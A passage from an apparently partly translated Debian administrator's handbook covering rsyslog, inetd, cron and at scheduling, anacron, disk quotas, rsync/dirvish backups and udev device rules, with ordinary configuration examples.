For most cases, these settings are verysimple; only a few important variablesin the configuration file are changed.These variables are often groupedbetween two “demarcation” lines sothat reconfiguration of the package

only impacts the enclosed area. Inother cases, reconfiguration will notchange anything if the script detects amanual modification of theconfiguration file, in order to preservethese human interventions (because thescript can't ensure that its ownmodifications will not disrupt theexisting settings).

DEBIAN POLICY Preserving changes

The Debian Policy expressly stipulatesthat everything should be done topreserve manual changes made to aconfiguration file, so more and morescripts take precautions when editingconfiguration files. The general principleis simple: the script will only make

changes if it knows the status of theconfiguration file, which is verified bycomparing the checksum of the fileagainst that of the last automaticallygenerated file. If they are the same, thescript is authorized to change theconfiguration file. Otherwise, itdetermines that the file has been changedand asks what action it should take(install the new file, save the old file, ortry to integrate the new changes with theexisting file). This precautionaryprinciple has long been unique to Debian,but other distributions have graduallybegun to embrace it.

O programa ucf (do pacote Debian domesmo nome) pode ser utilizado com omesmo comportamento.

9.5. syslog Eventosde Sistema

9.5.1. Princípio eMecanismoThe rsyslogd daemon is responsible forcollecting service messages comingfrom applications and the kernel, thendistributing them into log files (usuallystored in the /var/log/ directory). Itobeys the /etc/rsyslog.confconfiguration file.

SUPLEMENTOS Indo do sysklogd pararsyslog

Debian Squeeze installs rsyslog bydefault, while older versions (up to Etch,but not Lenny) used sysklogd. Thetransition was not automatic, and in thecase of an upgrade from Etch, rsyslogshould be installed manually if you wantto keep in sync with Debian's defaultchoice.

Migration from one to the other ispainless, since the default configurationis very similar, and the syntax of the older/etc/syslog.conf is compatible with thenew /etc/rsyslog.conf.

Each log message is associated with an

application subsystem (called“facility” in the documentation):

auth and authpriv: forauthentication;cron: comes from task schedulingservices, cron and atd;daemon: affects a daemon withoutany special classification (DNS,NTP, etc.);ftp: concerns the FTP server;kern: message coming from thekernel;lpr: comes from the printingsubsystem;mail: comes from the e-mailsubsystem;news: Usenet subsystem message

(especially from an NNTP —Network News Transfer Protocol— server that managesnewsgroups);syslog: messages from thesyslogd server, itself;user: user messages (generic);uucp: messages from the UUCPserver (Unix to Unix CopyProgram, an old protocol notablyused to distribute e-mailmessages);local0 to local7: reserved forlocal use.

Cada mensagem está associada comum nível de prioridade. Está é a listaem ordem decrescente:

emerg: “Help!” There's anemergency, the system is probablyunusable.alert: hurry up, any delay can bedangerous, action must be takenimmediately;crit: conditions are critical;err: error;warn: warning (potential error);notice: conditions are normal,but the message is important;info: mensagem informativa;debug: debugging message.

9.5.2. O Arquivo deConfiguração

The syntax of the /etc/rsyslog.conffile is detailed in the rsyslog.conf(5)manual page, but there is also HTMLdocumentation available in the rsyslog-doc package(/usr/share/doc/rsyslog-doc/html/index.html). The overallprinciple is to write “selector” and“action” pairs. The selector defines allrelevant messages, and the actionsdescribes how to deal with them.

9.5.2.1. Sintaxe do Seletor

The selector is a semicolon-separatedlist of subsystem.priority pairs(example: auth.notice;mail.info).An asterisk may represent all

subsystems or all priorities (examples:*.alert or mail.*). Severalsubsystems can be grouped, byseparating them with a comma(example: auth,mail.info). Thepriority indicated also covers messagesof equal or higher priority; thusauth.alert indicates the authsubsystem messages of alert or emergpriority. Prefixed with an exclamationpoint (!), it indicates the opposite, inother words the strictly lowerpriorities; auth.!notice, thus,indicates messages issued from auth,with info or debug priority. Prefixedwith an equal sign (=), it correspondsto precisely and only the priorityindicated (auth.=notice only

concerns messages from auth withnotice priority).

Each element in the list on the selectoroverrides previous elements. It is thuspossible to restrict a set or to excludecertain elements from it. For example,kern.info;kern.!err meansmessages from the kernel with prioritybetween info and warn. The nonepriority indicates the empty set (nopriorities), and may serve to exclude asubsystem from a set of messages.Thus, *.crit;kern.none indicates allthe messages of priority equal to orhigher than crit not coming from thekernel.

9.5.2.2. Sintaxe das Ações

BACK TO BASICS The named pipe, apersistent pipe

A named pipe is a particular type of filethat operates like a traditional pipe (thepipe that you make with the “|” symbol onthe command line), but via a file. Thismechanism has the advantage of beingable to relate two unrelated processes.Anything written to a named pipe blocksthe process that writes until anotherprocess attempts to read the data written.This second process reads the data writtenby the first, which can then resumeexecution.

Tal arquivo é criado com o comandomkfifo.

As várias ações possíveis são:

adiciona a mensagem a umarquivo (exemplo:/var/log/messages);enviar a mensagem para umservidor remoto syslog (exemplo:@log.falcot.com);send the message to an existingnamed pipe (example:|/dev/xconsole);send the message to one or moreusers, if they are logged in(example: root,rhertzog);enviar a mensagem para todos osusuário logados (exemplo: *);escrever a mensagem em um

console texto (exemplo:/dev/tty8).

SEGURANÇA Encaminhamento de logs

It is a good idea to record the mostimportant logs on a separate machine(perhaps dedicated for this purpose),since this will prevent any possibleintruder from removing traces of theirintrusion (unless, of course, they alsocompromise this other server).Furthermore, in the event of a majorproblem (such as a kernel crash), youhave the logs available on anothermachine, which increases your chances ofdetermining the sequence of events thatcaused the crash.

To accept log messages sent by other

machines, you must reconfigure rsyslog:in practice, it is sufficient to activate theready-for-use entries in/etc/rsyslog.conf ($ModLoad imudp and$UDPServerRun 514).

9.6. O superservidor inetdInetd (often called “Internet super-server”) is a server of servers. Itexecutes rarely used servers ondemand, so that they do not have to runcontinuously.

The /etc/inetd.conf file lists theseservers and their usual ports. The inetdcommand listens to all of them; whenit detects a connection to any such port,it executes the corresponding serverprogram.

POLÍTICA DEBIAN Registrar umservidor em inetd.conf

Packages frequently want to register anew server in the /etc/inetd.conf file,but Debian Policy prohibits any packagefrom modifying a configuration file that itdoesn't own. This is why the updated-inetd script (in the package with the samename) was created: It manages theconfiguration file, and other packages canthus use it to register a new server to thesuper-server's configuration.

Cada linha significativa do arquivo/etc/inetd.conf descreve umservidor através de sete campos(separados por espaços):

The TCP or UDP port number, orthe service name (which ismapped to a standard port numberwith the information contained inthe /etc/services file).The socket type: stream for a TCPconnection, dgram for UDPdatagrams.O protocolo: tcp ou udp.The options: two possible values:wait or nowait, to tell inetdwhether it should wait or not forthe end of the launched processbefore accepting anotherconnection. For TCP connections,easily multiplexable, you canusually use nowait. For programsresponding over UDP, you should

use nowait only if the server iscapable of managing severalconnections in parallel. You cansuffix this field with a period,followed by the maximum numberof connections authorized perminute (the default limit is 40).The user name of the user underwhose identity the server will run.O caminho completo para oprograma servidor a serexecutado.The arguments: this is a completelist of the program's arguments,including its own name (argv[0]in C).

O exemplo a seguir ilustra os casos

mais comuns:

Example 9.1. Excerto do/etc/inetd.conf

talk dgram udp wait nobody.tty /usr/sbin/in.talkd in.talkd

finger stream tcp nowait nobody /usr/sbin/tcpd /usr/sbin/in.fingerd

ident stream tcp nowait nobody /usr/sbin/identd identd -i

The tcpd program is frequently used inthe /etc/inetd.conf file. It allowslimiting incoming connections byapplying access control rules,documented in the hosts_access(5)manual page, and which are configuredin the /etc/hosts.allow and/etc/hosts.deny files. Once it hasbeen determined that the connection isauthorized, tcpd executes the realserver (like /usr/bin/in.fingerd in our

example).

COMUNIDADE Wietse Venema

Wietse Venema, whose expertise insecurity has made him a renownedprogrammer, is the author of the tcpdprogram. He is also the main creator ofPostfix, the modular e-mail server (SMTP,Simple Mail Transfer Protocol), designedto be safer and more reliable thansendmail, which features a long history ofsecurity vulnerabilities.

ALTERNATIVA Outros comandos inetd

There is no lack of alternatives. Inaddition to openbsd-inetd and netkit-inetd already mentioned, there are

inetutils-inetd, micro-inetd, rlinetd andxinetd.

This last incarnation of a super-serveroffers very interesting possibilities. Mostnotably, its configuration can be split intoseveral files (stored, of course, in the/etc/xinetd.d/ directory), which canmake an administrator's life easier.

9.7. AgendandoTarefas com crone atdcron is the daemon responsible forexecuting scheduled and recurringcommands (every day, every week,etc.); atd is that which deals withcommands to be executed a singletime, but at a specific moment in thefuture.

Em um sistema Unix, muitas tarefassão agendadas para execução regular:

rotacionando os logs;atualizando o banco de dados parao programa locate;back-ups;maintenance scripts (such ascleaning out temporary files).

By default, all users can schedule theexecution of tasks. Each user has thustheir own crontab in which they canrecord scheduled commands. It can beedited by running crontab -e (itscontent is stored in the/var/spool/cron/crontabs/user

file).

SECURITY Restricting cron or atd

You can restrict access to cron by

creating an explicit authorization file(whitelist) in /etc/cron.allow, in whichyou indicate the only users authorized toschedule commands. All others willautomatically be deprived of this feature.Conversely, to only block one or twotroublemakers, you could write theirusername in the explicit prohibition file(blacklist), /etc/cron.deny. This samefeature is available for atd, with the/etc/at.allow and /etc/at.deny files.

The root user has their own crontab,but can also use the /etc/crontab file,or write additional crontab files in the/etc/cron.d directory. These last twosolutions have the advantage of beingable to specify the user identity to usewhen executing the command.

O pacote cron incluí por padrão algunscomandos que executam:

programas no diretório/etc/cron.hourly/ uma vez porhora;programas no /etc/cron.daily/uma vez por dia;programas no/etc/cron.weekly/ uma vez porsemana;programas no/etc/cron.monthly/ uma vezpor mês.

Many Debian packages rely on thisservice, they put maintenance scripts inthese directories, which ensure optimal

operation of their services.

9.7.1. Formato doArquivo crontab

TIP Text shortcuts for cron

cron recognizes some abbreviationswhich replace the first five fields in acrontab entry. They correspond to themost classic scheduling options:

@yearly: once per year (January 1,at 00:00);@monthly: once per month (the 1st ofthe month, at 00:00);@weekly: once per week (Sunday at00:00);

@daily: once per day (at 00:00);@hourly: once per hour (at thebeginning of each hour).

CASO ESPECIAL cron e o horário deverão.

In Debian, cron takes the time change(for Daylight Savings Time, or in fact forany significant change in the local time)into account as best as it can. Thus, thecommands that should have beenexecuted during an hour that neverexisted (for example, tasks scheduled at2:30 am during the Spring time change inFrance, since at 2:00 am the clock jumpsdirectly to 3:00 am) are executed shortlyafter the time change (thus around 3:00am DST). On the other hand, in autumn,when commands would be executed

several times (2:30 am DST, then an hourlater at 2:30 am standard time, since at3:00 am DST the clock turns back to 2:00am) are only executed once.

Be careful, however, if the order in whichthe different scheduled tasks and thedelay between their respective executionsmatters, you should check thecompatibility of these constraints withcron's behavior; if necessary, you canprepare a special schedule for the twoproblematic nights per year.

Each significant line of a crontabdescribes a scheduled command withthe six (or seven) following fields:

o valor para o minuto (números de

0 à 59);o valor para a hora (de 0 à 23);o valor para o dia do mês (de 1 à31);o valor para o mês (de 1 à 12);the value for the day of the week(from 0 to 7, 1 corresponding toMonday, Sunday beingrepresented by both 0 and 7; it isalso possible to use the first threeletters of the name of the day ofthe week in English, such as Sun,Mon, etc.);the user name under whoseidentity the command must beexecuted (in the /etc/crontabfile and in the fragments locatedin /etc/cron.d/, but not in the

users' own crontab files);o comando a ser executado(quando as condições definidasnas primeiras cinco colunas estãosatisfeitas).

All these details are documented in thecrontab(5) man page.

Each value can be expressed in theform of a list of possible values(separated by commas). The syntax a-bdescribes the interval of all the valuesbetween a and b. The syntax a-b/cdescribes the interval with anincrement of c (example: 0-10/2means 0,2,4,6,8,10). An asterisk * isa wildcard, representing all possible

values.

Example 9.2. Arquivo de exemplocrontab

#Format

#min hour day mon dow command

# Download data every night at 7:25 pm

25 19 * * * $HOME/bin/get.pl

# 8:00 am, on weekdays (Monday through Friday)

00 08 * * 1-5 $HOME/bin/dosomething

# Restart the IRC proxy after each reboot

@reboot /usr/bin/dircproxy

DICA Executando um comando nainicialização

To execute a command a single time, justafter booting the computer, you can use

the @reboot macro (a simple restart ofcron does not trigger a commandscheduled with @reboot). This macroreplaces the first five fields of an entry inthe crontab.

9.7.2. Usando oComando atThe at executes a command at aspecified moment in the future. It takesthe desired time and date as command-line parameters, and the command tobe executed in its standard input. Thecommand will be executed as if it hadbeen entered in the current shell. at

even takes care to retain the currentenvironment, in order to reproduce thesame conditions when it executes thecommand. The time is indicated byfollowing the usual conventions: 16:12or 4:12pm represents 4:12 pm. The datecan be specified in several Europeanand Western formats, includingDD.MM.YY (27.07.12 thus representing27 July 2012), YYYY-MM-DD (this samedate being expressed as 2012-07-27),MM/DD/[CC]YY (ie., 12/25/12 or12/25/2012 will be December 25,2012), or simple MMDD[CC]YY (so that122512 or 12252012 will, likewise,represent December 25, 2012). Withoutit, the command will be executed assoon as the clock reaches the time

indicated (the same day, or tomorrow ifthat time has already passed on thesame day). You can also simply write“today” or “tomorrow”, which is self-explanatory.

$ at 09:00 27.07.12 <<END

> echo "Don't forget to wish a Happy Birthday to Raphaël!" \

> | mail [email protected]

> END

warning: commands will be executed using /bin/sh

job 31 at Fri Jul 27 09:00:00 2012

An alternative syntax postpones theexecution for a given duration: at now+ number period. The period can beminutes, hours, days, or weeks. Thenumber simply indicates the number ofsaid units that must elapse before

execution of the command.

To cancel a task scheduled by cron,simply run crontab -e and delete thecorresponding line in the crontab file.For at tasks, it is almost as easy: runatrm task-number. The task number isindicated by the at command when youscheduled it, but you can find it againwith the atq command, which gives thecurrent list of scheduled tasks.

9.8. AgendandoTarefasAssíncronas:anacronanacron is the daemon that completescron for computers that are not on atall times. Since regular tasks areusually scheduled for the middle of thenight, they will never be executed if thecomputer is off at that time. Thepurpose of anacron is to execute them,taking into account periods in whichthe computer is not working.

Please note that anacron willfrequently execute such activity a fewminutes after booting the machine,which can render the computer lessresponsive. This is why the tasks in the/etc/anacrontab file are started withthe nice command, which reduces theirexecution priority and thus limits theirimpact on the rest of the system.Beware, the format of this file is notthe same as that of /etc/crontab; ifyou have particular needs for anacron,see the anacrontab(5) manual page.

DE VOLTA AO BÁSICO Prioridades enice

Unix systems (and thus Linux) are multi-tasking and multi-user systems. Indeed,

several processes can run in parallel, andbe owned by different users: the kernelmediates access to the resources betweenthe different processes. As a part of thistask, it has a concept of priority, whichallows it to favor certain processes overothers, as needed. When you know that aprocess can run in low priority, you canindicate so by running it with niceprogram. The program will then have asmaller share of the CPU, and will have asmaller impact on other runningprocesses. Of course, if no otherprocesses needs to run, the program willnot be artificially held back.

nice works with levels of “niceness”: thepositive levels (from 1 to 19)progressively lower the priority, while thenegative levels (from -1 to -20) willincrease it — but only root can use these

negative levels. Unless otherwiseindicated (see the nice(1) manual page),nice increases the current level by 10.

If you discover that an already runningtask should have been started with nice itis not too late to fix it; the renicecommand changes the priority of analready running process, in eitherdirection (but reducing the “niceness” ofa process is reserved to the root user).

Installation of the anacron packagedeactivates execution by cron of thescripts in the /etc/cron.hourly/,/etc/cron.daily/,/etc/cron.weekly/, and/etc/cron.monthly/ directories. Thisavoids their double execution by

anacron and cron. The cron commandremains active and will continue tohandle the other scheduled tasks(especially those scheduled by users).

9.9. CotasThe quota system allows limiting diskspace allocated to a user or group ofusers. To set it up, you must have akernel that supports it (compiled withthe CONFIG_QUOTA option) — as is thecase of Debian kernels. The quotamanagement software is found in thequota Debian package.

To activate them in a filesystem, youhave to indicate the usrquota andgrpquota options in /etc/fstab forthe user and group quotas, respectively.Rebooting the computer will thenupdate the quotas in the absence of disk

activity (a necessary condition forproper accounting of already used diskspace).

The edquota user (or edquota -ggroup) command allows you to changethe limits while examining current diskspace usage.

GOING FURTHER Defining quotas witha script

The setquota program can be used in ascript to automatically change manyquotas. Its setquota(8) manual pagedetails the syntax to use.

O sistema de cotas permite você definir

quatro limites:

two limits (called “soft” and“hard”) refer to the number ofblocks consumed. If thefilesystem was created with ablock-size of 1 kibibyte, a blockcontains 1024 bytes from the samefile. Unsaturated blocks thusinduce losses of disk space. Aquota of 100 blocks, whichtheoretically allows storage of102,400 bytes, will however besaturated with just 100 files of500 bytes each, only representing50,000 bytes in total.two limits (soft and hard) refer tothe number of inodes used. Each

file occupies at least one inode tostore information about it(permissions, owner, timestamp oflast access, etc.). It is thus a limiton the number of user files.

A “soft” limit can be temporarilyexceeded; the user will simply bewarned that they are exceeding thequota by the warnquota command,which is usually invoked by cron. A“hard” limit can never be exceeded: thesystem will refuse any operation thatwill cause a hard quota to be exceeded.

VOCABULÁRIO Blocos e inodes

The filesystem divides the hard drive intoblocks — small contiguous areas. The

size of these blocks is defined duringcreation of the filesystem, and generallyvaries between 1 and 8 kibibytes.

A block can be used either to store thereal data of a file, or for meta-data usedby the filesystem. Among this meta-data,you will especially find the inodes. Aninode uses a block on the hard drive (butthis block is not taken into considerationin the block quota, only in the inodequota), and contains both the informationon the file to which it corresponds (name,owner, permissions, etc.) and the pointersto the data blocks that are actually used.For very large files that occupy moreblocks than it is possible to reference in asingle inode, there is an indirect blocksystem; the inode references a list ofblocks that do not directly contain data,but another list of blocks.

With the edquota -t command, you candefine a maximum authorized “graceperiod” within which a soft limit maybe exceeded. After this period, the softlimit will be treated like a hard limit,and the user will have to reduce theirdisk space usage to within this limit inorder to be able to write anything to thehard drive.

GOING FURTHER Setting up a defaultquota for new users

To automatically setup a quota for newusers, you have to configure a templateuser (with edquota or setquota) andindicate their user name in the QUOTAUSERvariable in the /etc/adduser.conf file.

This quota configuration will then beautomatically applied to each new usercreated with the adduser command.

9.10. BackupMaking backups is one of the mainresponsibilities of any administrator,but it is a complex subject, involvingpowerful tools which are often difficultto master.

Many programs exist, such as amanda,a client/server system featuring manyoptions, whose configuration is ratherdifficult. BackupPC is also aclient/server solution, but with a webinterface for configuration whichmakes it more user-friendly. Dozens ofother Debian packages are dedicated tobackup solutions, as you can easily

confirm with apt-cache searchbackup.

Rather than detailing some of them,this section will present the thoughts ofthe Falcot Corp administrators whenthey defined their backup strategy.

At Falcot Corp, backups have twogoals: recovering erroneously deletedfiles, and quickly restoring anycomputer (server or desktop) whosehard drive has failed.

9.10.1. Cópias desegurança com rsync

Backups on tape having been deemedtoo slow and costly, data will bebacked up on hard drives on adedicated server, on which the use ofsoftware RAID (see Section 12.1.1,“RAID Por Software”) will protect thedata from hard drive failure. Desktopcomputers are not backed upindividually, but users are advised thattheir personal account on theirdepartment's file server will be backedup. The rsync command (from thepackage of the same name) is useddaily to back up these different servers.

BACK TO BASICS The hard link, asecond name for the file

A hard link, as opposed to a symboliclink, can not be differentiated from thelinked file. Creating a hard link isessentially the same as giving an existingfile a second name. This is why thedeletion of a hard link only removes oneof the names associated with the file. Aslong as another name is still assigned tothe file, the data therein remain present onthe filesystem. It is interesting to notethat, unlike a copy, the hard link does nottake up additional space on the harddrive.

A hard link is created with the ln targetlink command. The link file is then anew name for the target file. Hard linkscan only be created on the samefilesystem, while symbolic links are notsubject to this limitation.

The available hard drive spaceprohibits implementation of a completedaily backup. As such, the rsynccommand is preceded by a duplicationof the content of the previous backupwith hard links, which prevents usageof too much hard drive space. Thersync process then only replaces filesthat have been modified since the lastbackup. With this mechanism a greatnumber of backups can be kept in asmall amount of space. Since allbackups are immediately available andaccessible (for example, in differentdirectories of a given share on thenetwork), you can quickly makecomparisons between two given dates.

This backup mechanism is easilyimplemented with the dirvish program.It uses a backup storage space (“bank”in its vocabulary) in which it placestimestamped copies of sets of backupfiles (these sets are called “vaults” inthe dirvish documentation).

The main configuration is in the/etc/dirvish/master.conf file. Itdefines the location of the backupstorage space, the list of “vaults” tomanage, and default values forexpiration of the backups. The rest ofthe configuration is located in thebank/vault/dirvish/default.conf

files and contains the specificconfiguration for the corresponding setof files.

Example 9.3. O arquivo/etc/dirvish/master.conf

bank:

/backup

exclude:

lost+found/

core

*~

Runall:

root 22:00

expire-default: +15 days

expire-rule:

# MIN HR DOM MON DOW STRFTIME_FMT

* * * * 1 +3 months

* * 1-7 * 1 +1 year

* * 1-7 1,4,7,10 1

The bank setting indicates the directoryin which the backups are stored. Theexclude setting allows you to indicatefiles (or file types) to exclude from the

backup. The Runall is a list of file setsto backup with a time-stamp for eachset, which allows you to assign thecorrect date to the copy, in case thebackup is not triggered at precisely theassigned time. You have to indicate atime just before the actual executiontime (which is, by default, 10:04 pm inDebian, according to/etc/cron.d/dirvish). Finally, theexpire-default and expire-rulesettings define the expiration policy forbackups. The above example keepsforever backups that are generated onthe first Sunday of each quarter, deletesafter one year those from the firstSunday of each month, and after 3months those from other Sundays.

Other daily backups are kept for 15days. The order of the rules doesmatter, Dirvish uses the last matchingrule, or the expire-default one if noother expire-rule matches.

NA PRÁTICA Agendamento deexpiração

The expiration rules are not used bydirvish-expire to do its job. In reality, theexpiration rules are applied when creatinga new backup copy to define theexpiration date associated with that copy.dirvish-expire simply peruses the storedcopies and deletes those for which theexpiration date has passed.

Example 9.4. O arquivo

/backup/root/dirvish/default.conf

client: rivendell.falcot.com

tree: /

xdev: 1

index: gzip

image-default: %Y%m%d

exclude:

/var/cache/apt/archives/*.deb

/var/cache/man/**

/tmp/**

/var/tmp/**

*.bak

The above example specifies the set offiles to back up: these are files on themachine rivendell.falcot.com (for localdata backup, simply specify the nameof the local machine as indicated byhostname), especially those in the roottree (tree: /), except those listed in

exclude. The backup will be limited tothe contents of one filesystem (xdev:1). It will not include files from othermount points. An index of saved fileswill be generated (index: gzip), andthe image will be named according tothe current date (image-default:%Y%m%d).

There are many options available, alldocumented in the dirvish.conf(5)manual page. Once these configurationfiles are setup, you have to initializeeach file set with the dirvish --vaultvault --init command. From there onthe daily invocation of dirvish-runallwill automatically create a new backupcopy just after having deleted those

that expired.

NA PRÁTICA Cópia de segurançaremota com SSH

When dirvish needs to save data to aremote machine, it will use ssh to connectto it, and will start rsync as a server. Thisrequires the root user to be able toautomatically connect to it. The use of anSSH authentication key allows preciselythat (see Section 9.2.2.1, “AutenticaçãoBaseado em Chave”).

9.10.2. RestaurandoMáquinas sem Cópias

de SegurançaDesktop computers, which are notbacked up, will be easy to regeneratefrom CD-ROMs made by the mondoprogram. These bootable CD-ROMsallow complete re-installation of themachine's system. But beware: filesthat are not part of the system or theuser's home directory will not,themselves, be backed up by mondo.This includes, for example, users' localcrontabs, as well as any changes madeto system configuration since thepreparation of the CD-ROM.

The Falcot Corp administrators are

aware of the limits in their backuppolicy. Since they can't protect thebackup server as well as a tape in afireproof safe, they have installed it ina separate room so that a disaster suchas a fire in the server room won'tdestroy backups along with everythingelse. Furthermore, they do anincremental backup on DVD-ROMonce per week — only files that havebeen modified since the last backup areincluded.

GOING FURTHER Backing up SQL andLDAP services

Many services (such as SQL or LDAPdatabases) can not be backed up bysimply copying their files (unless they are

properly interrupted during creation ofthe backups, which is frequentlyproblematic, since they are intended to beavailable at all times). As such, it isnecessary to use an “export” mechanismto create a “data dump” that can be safelybacked up. These are often quite large,but they compress well. To reduce thestorage space required, you will onlystore a complete text file per week, and adiff each day, which is created with acommand of the type difffile_from_yesterday file_from_today.The xdelta program produces incrementaldifferences from binary dumps.

CULTURA TAR, o padrão para cópias deseguranças em fita

Historically, the simplest means of

making a backup on Unix was to store aTAR archive on a tape. The tar commandeven got its name from “Tape ARchive”.

9.11. HotPlugging: hotplug

9.11.1. IntroductionThe hotplug kernel subsystem loadsdrivers for peripherals that can behotplugged. This includes USBperipherals (increasingly common),PCMCIA (common expansion cards forlaptops), IEEE 1394 (also called“Firewire” or “I-Link”), some SATAhard drives, and even, for some high-end servers, PCI or SCSI devices. Thekernel has a database that associates

each device ID with the requireddriver. This database is used duringboot to load all the drivers for theperipheral devices detected on thedifferent buses mentioned, but alsowhen an additional hotplug device isconnected. Once a driver is loaded, amessage is sent to udevd so it will beable to create the corresponding entryin /dev/.

9.11.2. The NamingProblemBefore the appearance of hotplugconnections, it was easy to assign a

fixed name to a device. It was basedsimply on the position of the deviceson their respective bus. But this is notpossible when such devices can comeand go on the bus. The typical case isthe use of a digital camera and a USBkey, both of which appear to thecomputer as disk drives. The first oneconnected may be /dev/sdb and thesecond /dev/sdc (with /dev/sdarepresenting the computer's own harddrive). The device name is not fixed; itdepends on the order in which devicesare connected.

Additionally, more and more driversuse dynamic values for devices'major/minor numbers, which makes it

impossible to have static entries for thegiven devices, since these essentialcharacteristics may vary after a reboot.

udev was created precisely to solve thisproblem.

IN PRACTICE Network cardmanagement

Many computers have multiple networkcards (sometimes two wired interfacesand a wifi interface), and with hotplugsupport on most bus types, the 2.6 kernelno longer guarantees fixed naming ofnetwork interfaces. But a user who wantsto configure their network in/etc/network/interfaces needs a fixedname!

It would be difficult to ask every user tocreate their own udev rules to address thisproblem. This is why udev was configuredin a rather peculiar manner; on first boot(and, more generally, each time that a newnetwork card appears) it uses the name ofthe network interface and its MACaddress to create new rules that willreassign the same name on subsequentboots. These rules are stored in/etc/udev/rules.d/70-persistent-

net.rules.

This mechanism has some side effectsthat you should know about. Let'sconsider the case of computer that hasonly one PCI network card. The networkinterface is named eth0, logically. Nowsay the card breaks down, and theadministrator replaces it; the new cardwill have a new MAC address. Since the

old card was assigned the name, eth0, thenew one will be assigned eth1, eventhough the eth0 card is gone for good(and the network will not be functionalbecause /etc/network/interfaces likelyconfigures an eth0 interface). In this case,it is enough to simply delete the/etc/udev/rules.d/70-persistent-

net.rules file before rebooting thecomputer. The new card will then begiven the expected eth0 name.

9.11.3. How udevWorksWhen udev is notified by the kernel ofthe appearance of a new device, it

collects various information on thegiven device by consulting thecorresponding entries in /sys/,especially those that uniquely identifyit (MAC address for a network card,serial number for some USB devices,etc.).

Armed with all of this information,udev then consults all of the rulescontained in /etc/udev/rules.d/ and/lib/udev/rules.d/. In this processit decides how to name the device,what symbolic links to create (to giveit alternative names), and whatcommands to execute. All of these filesare consulted, and the rules are allevaluated sequentially (except when a

file uses “GOTO” directives). Thus,there may be several rules thatcorrespond to a given event.

The syntax of rules files is quitesimple: each row contains selectioncriteria and variable assignments. Theformer are used to select events forwhich there is a need to react, and thelatter defines the action to take. Theyare all simply separated with commas,and the operator implicitlydifferentiates between a selectioncriterion (with comparison operators,such as == or !=) or an assignmentdirective (with operators such as =, +=or :=).

Comparison operators are used on thefollowing variables:

KERNEL: the name that the kernelassigns to the device;ACTION: the action correspondingto the event (“add” when a devicehas been added, “remove” when ithas been removed);DEVPATH: the path of the device's/sys/ entry;SUBSYSTEM: the kernel subsystemwhich generated the request (thereare many, but a few examples are“usb”, “ide”, “net”, “firmware”,etc.);ATTR{attribut}: file contents ofthe attribute file in the

/sys/$devpath/ directory of thedevice. This is where you find theMAC address and other busspecific identifiers;KERNELS, SUBSYSTEMS andATTRS{attributes} arevariations that will try to matchthe different options on one of theparent devices of the currentdevice;PROGRAM: delegates the test to theindicated program (true if itreturns 0, false if not). The contentof the program's standard output isstored so that it can be reused bythe RESULT test;RESULT: execute tests on thestandard output stored during the

last call to PROGRAM.

The right operands can use patternexpressions to match several values atthe same time. For instance, * matchesany string (even an empty one); ?matches any character, and [] matchesthe set of characters listed between thesquare brackets (or the opposite thereofif the first character is an exclamationpoint, and contiguous ranges ofcharacters are indicated like a-z).

Regarding the assignment operators, =assigns a value (and replaces thecurrent value); in the case of a list, it isemptied and contains only the valueassigned. := does the same, but

prevents later changes to the samevariable. As for +=, it adds an item to alist. The following variables can bechanged:

NAME: the device filename to becreated in /dev/. Only the firstassignment counts; the others areignored;SYMLINK: the list of symboliclinks that will point to the samedevice;OWNER, GROUP and MODE define theuser and group that owns thedevice, as well as the associatedpermission;RUN: the list of programs toexecute in response to this event.

The values assigned to these variablesmay use a number of substitutions:

$kernel or %k: equivalent toKERNEL;$number or %n: the order numberof the device, for example, forsda3, it would be “3”;$devpath or %p: equivalent toDEVPATH;$attr{attribute} or%s{attribute}: equivalent toATTRS{attribute};$major or %M: the kernel majornumber of the device;$minor or %m: the kernel minornumber of the device;$result or %c: the string output

by the last program invoked byPROGRAM;and, finally, %% and $$ for thepercent and dollar sign,respectively.

The above lists are not complete (theyinclude only the most importantparameters), but the udev(7) manualpage should be.

9.11.4. A concreteexampleLet us consider the case of a simpleUSB key and try to assign it a fixedname. First, you must find the elements

that will identify it in a unique manner.For this, plug it in and run udevadminfo -a -n /dev/sdc (replacing/dev/sdc with the actual nameassigned to the key).

# udevadm info -a -n /dev/sdc

[...]

looking at device '/devices/pci0000:00/0000:00:10.3/usb1/1-2/1-2.2/1-2.2:1.0/host9/target9:0:0/9:0:0:0/block/sdc':

KERNEL=="sdc"

SUBSYSTEM=="block"

DRIVER==""

ATTR{range}=="16"

ATTR{ext_range}=="256"

ATTR{removable}=="1"

ATTR{ro}=="0"

ATTR{size}=="126976"

ATTR{alignment_offset}=="0"

ATTR{capability}=="53"

ATTR{stat}==" 51 100 1208 256 0 0 0 0 0 192 25 6"

ATTR{inflight}==" 0 0"

[...]

looking at parent device '/devices/pci0000:00/0000:00:10.3/usb1/1-2/1-2.2/1-2.2:1.0/host9/target9:0:0/9:0:0:0':

KERNELS=="9:0:0:0"

SUBSYSTEMS=="scsi"

DRIVERS=="sd"

ATTRS{device_blocked}=="0"

ATTRS{type}=="0"

ATTRS{scsi_level}=="3"

ATTRS{vendor}=="I0MEGA "

ATTRS{model}=="UMni64MB*IOM2C4 "

ATTRS{rev}==" "

ATTRS{state}=="running"

[...]

ATTRS{max_sectors}=="240"

[...]

looking at parent device '/devices/pci0000:00/0000:00:10.3/usb1/1-2/1-2.2':

KERNELS=="9:0:0:0"

SUBSYSTEMS=="usb"

DRIVERS=="usb"

ATTRS{configuration}=="iCfg"

ATTRS{bNumInterfaces}==" 1"

ATTRS{bConfigurationValue}=="1"

ATTRS{bmAttributes}=="80"

ATTRS{bMaxPower}=="100mA"

ATTRS{urbnum}=="398"

ATTRS{idVendor}=="4146"

ATTRS{idProduct}=="4146"

ATTRS{bcdDevice}=="0100"

[...]

ATTRS{manufacturer}=="USB Disk"

ATTRS{product}=="USB Mass Storage Device"

ATTRS{serial}=="M004021000001"

[...]

To create a new rule, you can use testson the device's variables, as well asthose of one of the parent devices. Theabove case allows us to create tworules like these:

KERNEL=="sd?", SUBSYSTEM=="block", ATTRS{serial}=="M004021000001", SYMLINK+="usb_key/disk"

KERNEL=="sd?[0-9]", SUBSYSTEM=="block", ATTRS{serial}=="M004021000001", SYMLINK+="usb_key/part%n"

Once these rules are set in a file,named for example/etc/udev/rules.d/010_local.rules

you can simply remove and reconnectthe USB key. You can then see that/dev/usb_key/disk represents thedisk associated with the USB key, and/dev/usb_key/part1 is its firstpartition.

GOING FURTHER Debugging udev'sconfiguration

Like many daemons, udevd stores logs in/var/log/daemon.log. But it is not veryverbose by default, and it's usually notenough to understand what's happening.The udevadm control --log-priority=infocommand increases the verbosity level

and solves this problem. udevadmcontrol --log-priority=err returns to thedefault verbosity level.

